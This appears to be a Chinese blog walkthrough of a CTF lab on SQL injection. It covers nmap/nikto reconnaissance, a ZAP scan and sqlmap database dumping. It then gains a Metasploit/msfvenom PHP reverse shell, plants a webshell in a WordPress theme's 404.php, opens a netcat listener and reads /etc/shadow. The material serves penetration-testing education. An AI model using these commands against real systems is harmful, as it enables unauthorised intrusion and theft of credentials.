CTF3之web安全SQL注入

SQL注入漏洞

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

SQL注入的产生原因通常表现在以下几方面:
①不当的类型处理;
②不安全的数据库配置;
③不合理的查询集处理;
④不当的错误处理;
⑤转义字符处理不合适;
⑥多个提交处理不当。

任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中,POST传递的参数。

信息探测

扫描主机服务信息以及服务版本
– nmap -sV靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v靶场IP地址
探测敏感信息
— nikto -host http:/ /靶场IP地址:端口
扫描主机开放的全部端口
– nmap -T4 -p- 靶场IP地址

深入探测

分析nmap、nikto扫描结果, 并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开http:/ /ip:port/敏感页面,查看敏感信息,找到可利用的位置;

这里获得一个可以进行用户登录的信息,如下图,然后就可以在浏览器上打开这个ip。
在这里插入图片描述

漏洞扫描

挖掘一下系统中存在的漏洞,对系统进行漏洞扫描。

对于漏洞的扫描,可以使用以下工具:
web漏洞扫描器owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助程序员在开发和测试应用程序过程中,自动发现Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

接下来,输入需要扫描的IP地址:
在这里插入图片描述

在扫描中,会先进行爬虫,将爬取的结果送到对应的位置。然后,对所爬取到的页面进行安全性检测,可以看到以下扫描的结果和信息:
在这里插入图片描述
当扫描完成后,会主动跳转到Alerts模块下。在此模块下,会看不同标志的小旗帜,若是深红色旗帜,就说明这样的界面存在高危漏洞,红色的旗帜就代表存在中危漏洞,浅黄色的旗帜代表低危漏洞。本文章主要是使用SQL注入来挖掘服务器中的用户名和密码。
在这里插入图片描述

漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。

使用sqlmap利用SQL注入漏洞(get)
– sqlmap -u url -dbs查看数据库名
– sqlmap -u url -D “数据库名” -tables 查看对应数据库中的数据表
– sqlmap -u url -D “ 数据库名” -T “表名" -columns查看对应字段
– sqlmap -u url -D “数据库名” -T “表名" -C “列名” -dump 查看对应字段的值
也可以直接尝试sqlmap -u url -os-shell 直接获取shell

获取用户名和密码:
在这里插入图片描述
登录系统后如下:
在这里插入图片描述
使用sqlmap利用SQL注入漏洞(post)
– sqlmap -r request.raw -level 5 -risk 3 - -dbs -dbms mysql --batch
– sqlmap -r request.raw -level 5 -risk 3 -D "数据库名” -tables 查看对应数据库中的数据表 --batch
– sq|map -r request.raw -level 5 -risk 3 -D "数据库名” -T "表名” - columns查看对应字段–batch
– sq|map -r request.raw -level 5 -risk 3 -D“数据库名” -T "表名” -C “列名” -dump --batch

如使用以下数据包来注入:
在这里插入图片描述

上传shell反弹权限

攻击机启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set Ihost 攻击机IP地址
msf exploit(handler) > set Iport 4444
msf exploit(handler) > run
生成反弹shell
msfvenom -p php/meterpreter/reverse_ tcp Ihost=攻击机IP地址 Iport= 4444 -f raw > /root/Desktop/shell.php

上传webshell获取控制权

wordpress后台寻找上传点
– 主题的404.php可以上传webshell
– webshell 获取/usr/share/webhells/php/

执行shell,获取反弹shell
http://靶场IP地址:端口号/目录/wp-content/theme/主题名/404.php

启动监听
– nc -nlvp port

启动终端
– python -c “import pty;pty.spawn('/bin/bash”)"

在终端,查看root权限
使用cat /etc/shadow cat /etc/ passwd查看敏感文件

使用su-提升root权限
找到对应的密码,查看对应root权限和目录下文件

总结

只要是用户可以输入的位置都是有可能存在注入点的;漏洞扫描器的扫描结果也不一定完全正确。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值